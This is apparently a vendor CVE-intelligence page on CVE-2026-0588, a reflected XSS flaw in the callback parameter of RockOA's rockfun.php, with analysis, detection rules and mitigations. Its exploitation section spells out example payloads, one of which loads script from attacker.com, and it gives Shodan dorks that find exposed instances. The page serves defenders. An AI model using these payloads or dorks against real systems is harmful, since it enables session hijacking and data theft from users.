☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-0588

CVE-2026-0588 — Xinhu Rainrock RockOA API rockfun.php cross site scripting
📅 PUBLISHED: 2026-01-05 00:00 UTC 🔄 UPDATED: 2026-08-17 22:18 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: up to 2.7.1
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-0588 identifies a Cross-Site Scripting (XSS) vulnerability within Xinhu Rainrock RockOA, affecting versions up to 2.7.1. The flaw exists in the rockfun.php component's API, specifically through improper sanitization of the callback argument, enabling remote code execution in a user's browser context. An exploit has been publicly disclosed, increasing the immediate threat level, with the vendor having provided no response or patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation, or 'Cross-site Scripting'), resides within the Xinhu Rainrock RockOA application. Specifically, the rockfun.php file, part of the application's API component, is susceptible to client-side script injection. The core issue stems from insufficient input validation and output encoding of the callback argument.

When a remote attacker provides a specially crafted value for the callback argument within a request to rockfun.php, the application includes this unsanitized input directly into the HTML response or JavaScript context without proper escaping. This allows an attacker to inject arbitrary client-side script (e.g., JavaScript, HTML tags) into the web page viewed by other users. Upon a user accessing the malicious URL or interacting with a page embedding the unsanitized output, the injected script executes within the user's browser, under the security context of the vulnerable application's domain.

The callback argument is commonly used in JSONP (JSON with Padding) implementations, where a JavaScript function name is passed as a parameter, and the server wraps its JSON response in a call to that function. If not properly validated, an attacker can substitute the intended function name with malicious script, leading to XSS. The NVD description confirms that this specific manipulation of the callback argument directly causes the Cross-Site Scripting, indicating a direct reflection of user-controlled input. No specific server-side functions or internal class names beyond rockfun.php and the callback parameter are available in the provided data.

Exploitation Scenarios

Exploitation of CVE-2026-0588 follows a typical reflected XSS attack chain, requiring user interaction to trigger the payload. Given the public availability of an exploit, the attack can be executed by moderately skilled attackers.

  1. Reconnaissance/Target Identification: An attacker identifies target organizations or users employing Xinhu Rainrock RockOA. They may use tools like Shodan (e.g., http.html:"RockOA", http.html:"Rainrock", http.html:"rockfun.php") to locate public-facing instances of the application. The attacker confirms the rockfun.php endpoint is accessible and appears to be using the callback parameter.
  2. Specific Flaw Triggering: The attacker crafts a malicious URL that points to the vulnerable rockfun.php endpoint and includes a hostile payload within the callback argument. For example, a URL might look similar to: https://[target_rockoa_instance]/api/rockfun.php?callback=<script>alert('XSS');</script> Or, for more sophisticated attacks: https://[target_rockoa_instance]/api/rockfun.php?callback=evilFunction%28%29%3B%3Cscript%3Evar+s=document.createElement%28%27script%27%29%3Bs.src=%27//attacker.com/malicious.js%27%3Bdocument.body.appendChild%28s%29%3B%3C/script%3E When a victim's browser sends a request to this URL, the vulnerable application server processes rockfun.php. Due to the lack of proper input sanitization, the value of the callback argument is directly embedded into the HTTP response.
  3. Payload Execution Method: Upon receiving the specially crafted response, the victim's web browser interprets the embedded malicious script as legitimate content from the trusted rockoa_instance domain. The injected JavaScript payload then executes within the victim's browser session.
  4. Post-Exploitation Impact: The execution of the malicious script can lead to various severe consequences depending on the attacker's objective and the privileges granted to the script:
    • Session Hijacking: Stealing session cookies, allowing the attacker to impersonate the victim and gain unauthorized access to their account within the RockOA application.
    • Defacement: Modifying the content of the web page to display arbitrary content.
    • Phishing/Redirection: Redirecting the victim to an attacker-controlled website to steal credentials or deliver malware.
    • Malware Distribution: Forcing the victim's browser to download and execute malicious files.
    • Data Exfiltration: Accessing and exfiltrating sensitive user data visible or accessible within the user's current session.
    • Further Attacks: Acting as a springboard for other client-side attacks or internal network reconnaissance if the victim is on a corporate network. No specific public PoC code is provided in the intelligence data, but the attack chain is clearly inferred from the vulnerability class and the explicit mention of "manipulation of the argument callback causes cross site scripting".

Impact Assessment

The impact of CVE-2026-0588 is primarily client-side but can have significant implications for both individual users and the affected organization. With a CVSS score of 5.1 (Medium), the vulnerability's severity is notable due to its remote exploitability and the potential for user interaction to trigger a compromise.

Business Impact:

  • Data Breach: Attackers can steal sensitive user data, including authentication tokens, personal information, or proprietary data displayed within the application. This can lead to compliance violations (e.g., GDPR, HIPAA), financial penalties, and legal repercussions.
  • Reputational Damage: Successful XSS attacks can erode user trust, damage brand reputation, and lead to a loss of customer base.
  • Service Disruption/Defacement: While not directly a denial-of-service, XSS can be used to deface web pages, causing confusion or disruption to legitimate users.
  • Further Compromise: Stolen credentials or session information can be leveraged for deeper penetration into an organization's internal systems if RockOA users have elevated privileges or access to other interconnected services.

Affected Systems and Blast Radius:

  • Affected Systems: Any Xinhu Rainrock RockOA instance up to version 2.7.1 that exposes the rockfun.php API endpoint and is accessed by users via web browsers. The vulnerability impacts client-side browsers and the data they handle, not necessarily the server itself.
  • Blast Radius: The blast radius extends to all users who interact with a vulnerable RockOA instance and can be tricked into clicking a malicious link or visiting a compromised page that embeds the XSS payload. The reach is dependent on the visibility of the RockOA application (internal vs. public-facing) and the volume of user traffic. In a corporate environment, this could affect a large number of employees.

The CVSS score of 5.1 indicates that while the attack complexity might be low, it typically requires user interaction (UI) and impacts confidentiality, integrity, and availability (C, I, A) from the user's perspective. Given the public exploit, the threat is amplified, as it lowers the bar for attackers to leverage this vulnerability.

Detection Guidance

Sigma Rule

title: Xinhu Rainrock RockOA XSS via rockfun.php callback
id: 5a8e0f11-9c3f-4e00-94d0-4b8f59b2d8e9
status: experimental
description: Detects reflected XSS attempts in Xinhu Rainrock RockOA through the rockfun.php API component's callback argument.
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-0588
author: Valter Sit
date: 2024/01/23
logsource:
    category: webserver
    product: apache # Or nginx, iis, etc. depending on web server logs
detection:
    selection:
        cs-uri-stem:
            - '*rockfun.php*'
        cs-uri-query|contains:
            - 'callback='
            - '<script>'
            - '%3Cscript%3E' # URL-encoded <script>
            - 'onerror='
            - 'alert('
            - 'document.cookie'
            - 'javascript:' # Potential XSS vector
            - '%3Ciframe' # URL-encoded <iframe>
            - '%3Cimg'    # URL-encoded <img> tag with onerror
    condition: selection
level: high

YARA Rule

rule Xinhu_RockOA_XSS_rockfun_php_CVE_2026_0588
{
  meta:
    author = "Valter Sit"
    date = "2024-01-23"
    description = "Detects HTTP requests or log entries related to CVE-2026-0588, XSS in Xinhu Rainrock RockOA via rockfun.php callback parameter."
    cve = "CVE-2026-0588"
    severity = "HIGH"
  strings:
    $uri_path = "/api/rockfun.php" ascii wide nocase
    $param_callback = "callback=" ascii wide nocase
    $xss_script_tag = "<script>" ascii wide nocase
    $xss_script_tag_url_encoded = "%3Cscript%3E" ascii wide nocase
    $xss_alert = "alert(" ascii wide nocase
    $xss_document_cookie = "document.cookie" ascii wide nocase
    $xss_onerror = "onerror=" ascii wide nocase
    $xss_javascript_scheme = "javascript:" ascii wide nocase

  condition:
    all of ($uri_path, $param_callback) and
    (any of ($xss_script_tag, $xss_script_tag_url_encoded, $xss_alert, $xss_document_cookie, $xss_onerror, $xss_javascript_scheme))
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-0588 Xinhu Rainrock RockOA XSS attempt - rockfun.php callback"; flow:to_server,established; http.uri; content:"/rockfun.php"; fast_pattern; http.uri; pcre:"/callback=[^&]*(?:<script|%3Cscript|onerror|alert\\(|document\\.cookie|javascript:)/i"; classtype:web-application-attack; sid:20260588; rev:1;)

Elastic Detection

{
  "query": {
    "bool": {
      "must": [
        {
          "wildcard": {
            "url.path": "*rockfun.php*"
          }
        },
        {
          "bool": {
            "should": [
              {
                "wildcard": {
                  "url.query": "*callback=*"
                }
              },
              {
                "wildcard": {
                  "url.query": "*%3Cscript%3E*"
                }
              },
              {
                "wildcard": {
                  "url.query": "*alert(*"
                }
              },
              {
                "wildcard": {
                  "url.query": "*document.cookie*"
                }
              },
              {
                "wildcard": {
                  "url.query": "*onerror=*"
                }
              },
              {
                "wildcard": {
                  "url.query": "*javascript:*"
                }
              }
            ]
          }
        }
      ]
    }
  },
  "_comment": "This query assumes web server logs are ingested with URL components parsed into fields like 'url.path' and 'url.query'. Adjust field names as per your specific ECS mapping."
}

Splunk SPL Query

sourcetype=access_combined | PATH="/rockfun.php*" | QUERY="*callback=*"
| eval xss_indicators = if(match(QUERY, "(?i)(%3Cscript%3E|<script>|alert\\(|document\\.cookie|onerror=|javascript:)"), "true", "false")
| where xss_indicators="true"
| table _time, host, clientip, method, PATH, QUERY, useragent

Wazuh OSSEC Rule

<group>
  <rule id="100001" level="10">
    <if_sid>31100</if_sid> <!-- Catch all Apache/web access logs -->
    <url>%rockfun.php%</url>
    <field name="url.query">callback=</field>
    <options>nocase</options>
    <description>Xinhu Rainrock RockOA XSS attempt via rockfun.php callback (CVE-2026-0588)</description>
    <group>attack,web_attack,xss,</group>
  </rule>

  <rule id="100002" level="12" overwrite="yes">
    <if_sid>100001</if_sid>
    <field name="url.query">(%3Cscript%3E|<script>|onerror=|alert\\(|document\.cookie|javascript:)</field>
    <options>nocase</options>
    <description>Potential XSS payload detected in rockfun.php callback (CVE-2026-0588)</description>
    <group>attack,web_attack,xss,pci_dss_6.5</group>
  </rule>
</group>

Mitigation & Patch Guidance

CVE-2026-0588 presents a significant risk due to the publicly available exploit and the vendor's unresponsiveness, resulting in a Patch Confidence of 0/4 (UNPATCHED). Organizations using Xinhu Rainrock RockOA up to version 2.7.1 must implement robust immediate mitigations as no official patch or workaround is available.

  1. Immediate Mitigations:

    • Input Validation and Output Encoding: Implement strict server-side input validation for the callback parameter in rockfun.php. Ensure that any user-supplied input rendered in an HTML context is properly HTML-encoded, and any input used in a JavaScript context is properly JavaScript-encoded. Specifically, the callback argument should only permit alphanumeric characters and underscores, and any other characters should be rejected or stripped.
    • Web Application Firewall (WAF) Rules: Deploy or update WAF rules to detect and block requests to rockfun.php where the callback parameter contains known XSS attack patterns (e.g., <script>, onerror, javascript:, URL-encoded equivalents). This provides an immediate layer of defense, though it is not a complete solution.
    • Content Security Policy (CSP): Implement a strict Content Security Policy (CSP) header on your web server for the RockOA application. A well-configured CSP can significantly reduce the impact of XSS attacks by restricting which sources can execute scripts, load resources, or form actions. For instance, restrict inline scripts and only allow scripts from trusted domains.
    • Disable or Restrict rockfun.php: If the rockfun.php API functionality is not critical for your deployment, consider disabling access to it via web server configuration or network ACLs. If it is necessary, restrict access to only trusted IP ranges where possible.
  2. Patch/Upgrade Steps:

    • Monitor Vendor for Updates: Continuously monitor Xinhu's official channels for any security advisories, patches, or updated versions of Rainrock RockOA. As of the current intelligence, no fix is available, but this status could change.
    • Version Upgrade: If and when a patched version (e.g., 2.7.2 or higher) is released, plan for an immediate upgrade following vendor guidelines. Thoroughly test the upgrade in a non-production environment before deployment.
  3. Long-Term Hardening:

    • Secure Coding Practices: Advocate for and implement secure coding guidelines for all custom application development, including regular security training for developers on OWASP Top 10 vulnerabilities like XSS.
    • Regular Security Audits: Conduct routine security assessments, penetration testing, and code reviews of all web applications to proactively identify and remediate vulnerabilities.
    • User Education: Educate users about the risks of phishing and clicking on suspicious links, even those that appear to originate from trusted domains.
    • Client-Side Security: Ensure all client browsers accessing the application are kept up-to-date and have robust security settings.

References

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"RockOA"
http.html:"Rainrock"
http.html:"rockfun.php"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-0588/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.